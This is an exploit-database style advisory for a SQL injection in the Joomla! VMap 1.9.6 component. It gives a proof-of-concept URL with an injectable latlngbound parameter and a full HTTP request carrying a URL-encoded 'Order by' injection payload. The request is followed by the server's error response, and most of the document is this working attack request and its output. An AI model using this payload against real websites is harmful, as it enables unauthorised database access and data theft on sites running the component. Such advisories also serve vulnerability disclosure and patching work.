Joomla! VMap 1.9.6 SQL Injection

`# Exploit Title: Joomla! Component VMap 1.9.6 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-23  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://wdmtech.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/vmap/  
# Version: 1.9.6  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/index.php?option=com_vmap&task=loadmarker&latlngbound=[SQL]&mapid=1  
#   
  
GET /[PATH]/index.php?option=com_vmap&task=loadmarker&latlngbound=-40.716362432588596,40.71920853699145,-73.983044552948,-73.972959447052%20%4f%72%64%65%72%20%62%79%20%31%32%2d%2d%20%2d&mapid=1 HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: 1b9dcd66a46474552f38b0164f24ac07=1dc22d621aab1d9d01c05431e9b453b3; currentURI=http%3A%2F%2Flocalhost%2Fjomsocial-profile-layout%2F709-john-dev%2Ffriends%3Fq%3D%2527%26search%3Dfriends%26option%3Dcom_community%26view%3Dfriends%26Itemid%3D526  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 500 XPATH syntax error:...  
Date: Tue, 22 Jan 2019 21:16:19 GMT  
Server: Apache  
X-Powered-By: PHP/5.6.16  
X-Logged-In: False  
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"  
Cache-Control: no-cache  
Pragma: no-cache  
Vary: Accept-Encoding  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
`